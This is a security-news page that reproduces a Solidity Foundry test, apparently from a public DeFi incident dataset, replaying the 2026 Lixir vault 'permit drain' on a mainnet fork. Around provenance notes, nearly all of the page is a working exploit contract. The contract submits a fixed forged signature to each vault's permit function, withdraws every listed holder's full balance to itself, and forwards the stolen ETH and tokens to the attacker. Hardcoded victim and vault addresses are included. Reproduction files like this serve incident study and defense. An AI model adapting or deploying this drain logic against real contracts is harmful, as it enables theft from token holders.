Skip to content
THREATWIRE

Public reproduction file

src/test/2026-06/LixirPermitDrain_exp.sol

Public reproduction file for dataset entry LixirPermitDrain.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-06/LixirPermitDrain_exp.sol250 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 2.60 ETH, 4,477.72 USDC, 3,609.95 USDT, 24,182.56 LIX
8// Attacker : 0x3Fa8cF7FeA68C8E76A9838d77889464DdFb6a6cf
9// Attack Contract : 0xEFd1b12F5E3c35D7daE0D1449674C247566f9b76
10// Vulnerable Contract : 0xfD4c9a491DD777b8b3e13659e9E379252eC78390; 0x49bba4C5C4F8a2D444Ca5fDA1b3137D94Df40465; 0xF4AF7Ae20EB7334Cbdf334EaF850e7DB42394839;
11// 0xC870d944Dd883f25a1b7B3312bc2449DD5B0267d; 0xF4aAda01bF9d44FE0D03a6b2Fa6519E3d7325556; 0xecC2b0296EaE113a114CcB9F8846A7852545DC58
12// Attack Tx : https://etherscan.io/tx/0x17026faca0b8e4cb7531e4fb277c390eb165e81229628e0192923ad1d90a41da
14// @Info
15// Vulnerable Contract Code : https://etherscan.io/address/0xfD4c9a491DD777b8b3e13659e9E379252eC78390#code
17// @Analysis
18// Twitter Guy : https://x.com/DefimonAlerts/status/2070362661691207935
19//
20// Lixir vault-token permits accepted a dummy signature as long as ecrecover returned a nonzero address.
21// The attacker used the forged permit allowance to withdraw each holder's full vault-token balance.
23address constant ATTACKER = 0x3Fa8cF7FeA68C8E76A9838d77889464DdFb6a6cf;
24address constant HISTORICAL_ATTACK_CONTRACT = 0xEFd1b12F5E3c35D7daE0D1449674C247566f9b76;
25address constant BLOCK_MINER = 0x4838B106FCe9647Bdf1E7877BF73cE8B0BAD5f97;
27address constant TOKEN_USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
28address constant TOKEN_USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
29address constant TOKEN_LIX = 0xd0345D30FD918D7682398ACbCdf139C808998709;
31address constant LV_WETH_USDC_A = 0xfD4c9a491DD777b8b3e13659e9E379252eC78390;
32address constant LV_LIX_WETH_A = 0x49bba4C5C4F8a2D444Ca5fDA1b3137D94Df40465;
33address constant LV_WETH_USDC_B = 0xF4AF7Ae20EB7334Cbdf334EaF850e7DB42394839;
34address constant LV_LIX_WETH_B = 0xC870d944Dd883f25a1b7B3312bc2449DD5B0267d;
35address constant LV_USDC_USDT_A = 0xF4aAda01bF9d44FE0D03a6b2Fa6519E3d7325556;
36address constant LV_USDC_USDT_B = 0xecC2b0296EaE113a114CcB9F8846A7852545DC58;
38interface ILixirVaultToken {
39 function balanceOf(
40 address owner
41 ) external view returns (uint256);
42 function permit(
43 address owner,
44 address spender,
45 uint256 value,
46 uint256 deadline,
47 uint8 v,
48 bytes32 r,
49 bytes32 s
50 ) external;
51 function withdrawETHFrom(
52 address owner,
53 uint256 shares,
54 uint256 minAmount0,
55 uint256 minAmount1,
56 address to,
57 uint256 deadline
58 ) external returns (uint256 amount0, uint256 amount1);
59 function withdrawFrom(
60 address owner,
61 uint256 shares,
62 uint256 minAmount0,
63 uint256 minAmount1,
64 address to,
65 uint256 deadline
66 ) external returns (uint256 amount0, uint256 amount1);
69contract ContractTest is BaseTestWithBalanceLog {
70 function setUp() public {
71 uint256 forkBlock = 25_391_315;
72 vm.createSelectFork("mainnet", forkBlock);
73 vm.coinbase(BLOCK_MINER);
75 attacker = ATTACKER;
76 multiAssetLog = true;
77 _addFundingToken(address(0));
78 _addFundingToken(TOKEN_USDC);
79 _addFundingToken(TOKEN_USDT);
80 _addFundingToken(TOKEN_LIX);
82 vm.label(ATTACKER, "Attacker");
83 vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack contract");
84 vm.label(BLOCK_MINER, "Block beneficiary");
85 vm.label(TOKEN_USDC, "USDC");
86 vm.label(TOKEN_USDT, "USDT");
87 vm.label(TOKEN_LIX, "LIX");
88 vm.label(LV_WETH_USDC_A, "Lixir lv_WETH-USDC A");
89 vm.label(LV_LIX_WETH_A, "Lixir lv_LIX-WETH A");
90 vm.label(LV_WETH_USDC_B, "Lixir lv_WETH-USDC B");
91 vm.label(LV_LIX_WETH_B, "Lixir lv_LIX-WETH B");
92 vm.label(LV_USDC_USDT_A, "Lixir lv_USDC-USDT A");
93 vm.label(LV_USDC_USDT_B, "Lixir lv_USDC-USDT B");
94 }
96 function testExploit() public balanceLog {
97 uint256 attackerEthBefore = ATTACKER.balance;
98 uint256 attackerUsdcBefore = IERC20(TOKEN_USDC).balanceOf(ATTACKER);
99 uint256 attackerUsdtBefore = IERC20(TOKEN_USDT).balanceOf(ATTACKER);
100 uint256 attackerLixBefore = IERC20(TOKEN_LIX).balanceOf(ATTACKER);
101 uint256 minerEthBefore = BLOCK_MINER.balance;
103 // step 1: deploy a fresh helper that performs the forged-permit drain during construction.
104 vm.prank(ATTACKER);
105 LixirPermitDrain drain = new LixirPermitDrain(payable(ATTACKER));
106 vm.label(address(drain), "Local drain helper");
108 // step 2: prove the same final profit path as the trace.
109 assertGt(ATTACKER.balance, attackerEthBefore, "attacker ETH profit");
110 assertGt(IERC20(TOKEN_USDC).balanceOf(ATTACKER), attackerUsdcBefore, "attacker USDC profit");
111 assertGt(IERC20(TOKEN_USDT).balanceOf(ATTACKER), attackerUsdtBefore, "attacker USDT profit");
112 assertGt(IERC20(TOKEN_LIX).balanceOf(ATTACKER), attackerLixBefore, "attacker LIX profit");
113 assertEq(BLOCK_MINER.balance - minerEthBefore, 0.015 ether, "builder payment");
114 }
117contract LixirPermitDrain {
118 uint8 private constant V = 28;
119 bytes32 private constant R = 0xe7C93726a865578504442b1A6827f676E0ED74BDff2be3960d1e253bbcfc4462;
120 bytes32 private constant S = 0x6AA772b878Bc912BdBB33a0014eC507c4B3896ea85aa914b74dee9b7ac3e56da;
122 receive() external payable {}
124 constructor(
125 address payable receiver
126 ) {
127 // step 1: drain WETH-bearing vaults with forged permits, receiving unwrapped ETH plus ERC20 assets.
128 _drainETHVault(LV_WETH_USDC_A, _lvWethUsdcAHolders());
129 _drainETHVault(LV_LIX_WETH_A, _lvLixWethAHolders());
130 _drainETHVault(LV_WETH_USDC_B, _lvWethUsdcBHolders());
131 _drainETHVault(LV_LIX_WETH_B, _lvLixWethBHolders());
133 // step 2: drain USDC-USDT vaults with the non-ETH withdraw function.
134 _drainVault(LV_USDC_USDT_A, _lvUsdcUsdtAHolders());
135 _drainVault(LV_USDC_USDT_B, _lvUsdcUsdtBHolders());
137 // step 3: forward proceeds through the same receiver path observed in the trace.
138 _safeTransferAll(TOKEN_USDC, receiver);
139 _safeTransferAll(TOKEN_USDT, receiver);
140 _safeTransferAll(TOKEN_LIX, receiver);
142 (bool coinbasePaid,) = block.coinbase.call{value: 0.015 ether}("");
143 require(coinbasePaid, "coinbase payment failed");
145 (bool ethForwarded,) = receiver.call{value: address(this).balance}("");
146 require(ethForwarded, "eth forwarding failed");
147 }
149 function _drainETHVault(
150 address vault,
151 address[] memory holders
152 ) private {
153 for (uint256 i = 0; i < holders.length; i++) {
154 uint256 shares = ILixirVaultToken(vault).balanceOf(holders[i]);
155 if (shares == 0) continue;
157 ILixirVaultToken(vault).permit(holders[i], address(this), shares, type(uint256).max, V, R, S);
158 ILixirVaultToken(vault).withdrawETHFrom(holders[i], shares, 0, 0, address(this), type(uint256).max);
159 }
160 }
162 function _drainVault(
163 address vault,
164 address[] memory holders
165 ) private {
166 for (uint256 i = 0; i < holders.length; i++) {
167 uint256 shares = ILixirVaultToken(vault).balanceOf(holders[i]);
168 if (shares == 0) continue;
170 ILixirVaultToken(vault).permit(holders[i], address(this), shares, type(uint256).max, V, R, S);
171 ILixirVaultToken(vault).withdrawFrom(holders[i], shares, 0, 0, address(this), type(uint256).max);
172 }
173 }
175 function _safeTransferAll(
176 address token,
177 address to
178 ) private {
179 uint256 amount = IERC20(token).balanceOf(address(this));
180 if (amount == 0) return;
182 (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, amount));
183 require(success && (data.length == 0 || abi.decode(data, (bool))), "token transfer failed");
184 }
186 function _lvWethUsdcAHolders() private pure returns (address[] memory holders) {
187 holders = new address[](4);
188 holders[0] = 0xD7078D619C99799E68E0b44119D6DA1C0367E43a;
189 holders[1] = 0xD5Cb328f07a93BDcfbA6C701f2943F1B0B74f104;
190 holders[2] = 0x4c25893dD19EBc94686A8745680457f69BCb2914;
191 holders[3] = 0x9842654b567d3424fb07E1FDd18405530B3F9f5a;
192 }
194 function _lvLixWethAHolders() private pure returns (address[] memory holders) {
195 holders = new address[](15);
196 holders[0] = 0x63F75e8995c0A3B57FF5a2587BCd78D2fAF5D00D;
197 holders[1] = 0x9953DA7f2161866afAAD3c844CaaeE35A262a001;
198 holders[2] = 0x05AC4029c54A5622b6eF4114308CfCED60198AA3;
199 holders[3] = 0xA0a06EE0418629A73FbFeBc355e48d345f5f60EF;
200 holders[4] = 0x468B934CF48BB451B87EEa5654932C907F060EfE;
201 holders[5] = 0x0564Ef02D9a6c0Cd54EA09a05d1075deFDb44A20;
202 holders[6] = 0xA49FE5CB074F7f05EfB12c969BA5783fC8ef2Bfd;
203 holders[7] = 0xb6f0439c1fcdBB9aaf64eEB9BD4F3140e95d1b5f;
204 holders[8] = 0x1b1D046A1001fd6fd4d11f204c7464989d621D92;
205 holders[9] = 0x929D696fEeb8cfBf823395ec2c01ef238C422Af1;
206 holders[10] = 0x5229406Cbb785E7754BDD6af66b94263f1c7dAb7;
207 holders[11] = 0xECA93a2B50f4819E602365fC51A295F755965b0F;
208 holders[12] = 0x64Db074a4c1bd6ED38E2751Fc75A31C5f6AD4090;
209 holders[13] = 0xb0487bdc8BE66895Eb1508062c73d14Bb18A88Ca;
210 holders[14] = 0x71D8472C58D77F2220C333149BdF8b843C314E99;
211 }
213 function _lvWethUsdcBHolders() private pure returns (address[] memory holders) {
214 holders = new address[](2);
215 holders[0] = 0xC0Fbf0144763E822D7C6343151FD4F7383719637;
216 holders[1] = 0xc341683d1Ee57b13Ab90a1FC00F38dC6F7aFdd14;
217 }
219 function _lvLixWethBHolders() private pure returns (address[] memory holders) {
220 holders = new address[](18);
221 holders[0] = 0xC0Fbf0144763E822D7C6343151FD4F7383719637;
222 holders[1] = 0x4db4C33b3571C5402774790Eff5ca7763b6B792e;
223 holders[2] = 0xb6f0439c1fcdBB9aaf64eEB9BD4F3140e95d1b5f;
224 holders[3] = 0x929D696fEeb8cfBf823395ec2c01ef238C422Af1;
225 holders[4] = 0x5229406Cbb785E7754BDD6af66b94263f1c7dAb7;
226 holders[5] = 0xd07556cEB045DbDBD7d44955BcD4ccCCb5bFff47;
227 holders[6] = 0x1b1D046A1001fd6fd4d11f204c7464989d621D92;
228 holders[7] = 0xf68B10a37D1DdAe4278369d6aE25Ad0C6AF5Fc58;
229 holders[8] = 0x184E2BC2087b97E59b6205150832471F1dA99223;
230 holders[9] = 0x367f6d836962d4E9D92eD2165cF294f4DA78E4f6;
231 holders[10] = 0xc92980D19E7399911f595053894408AD24380324;
232 holders[11] = 0x759e7359D62F32f1899155193e2f43cD9058784c;
233 holders[12] = 0x7d6D0764a87D435cFA49EdcA2A1a5571E40a2Ae4;
234 holders[13] = 0x84912977B668E357198CaE78BA108B99Cff0489A;
235 holders[14] = 0xCd57B34763ceF236505A505aD5e88133C23C3758;
236 holders[15] = 0xd890B6F0551345B8146f66F8c329f70877c71119;
237 holders[16] = 0xa150DA57fE14E1964164FD52b55759c2649c5E9A;
238 holders[17] = 0x919f970311A92b6727765ad75533570AE4e8E1AC;
239 }
241 function _lvUsdcUsdtAHolders() private pure returns (address[] memory holders) {
242 holders = new address[](1);
243 holders[0] = 0xb4522eB2cA49963De9c3dC69023cBe6D53489C98;
244 }
246 function _lvUsdcUsdtBHolders() private pure returns (address[] memory holders) {
247 holders = new address[](1);
248 holders[0] = 0xC0Fbf0144763E822D7C6343151FD4F7383719637;
249 }

Analysis

Dataset entry

Public Foundry test for “LixirPermitDrain” (2026-06-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x3fa8cf7fea68c8e76a9838d77889464ddfb6a6cf

  • Attack Contract

    0xefd1b12f5e3c35d7dae0d1449674c247566f9b76

  • Vulnerable Contract

    0x49bba4c5c4f8a2d444ca5fda1b3137d94df40465

  • Vulnerable Contract

    0xfd4c9a491dd777b8b3e13659e9e379252ec78390

  • Attack Tx

    0x17026faca0b8e4cb7531e4fb277c390eb165e81229628e0192923ad1d90a41da

File record

Name
LixirPermitDrain
Path
src/test/2026-06/LixirPermitDrain_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
46e17873d87b35fb3531767caf0b0d08f7a4ebdf
Language
Solidity
Size
251 lines
Date
2026-06-25
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-06/LixirPermitDrain_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 46e17873d87b35fb3531767caf0b0d08f7a4ebdf, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.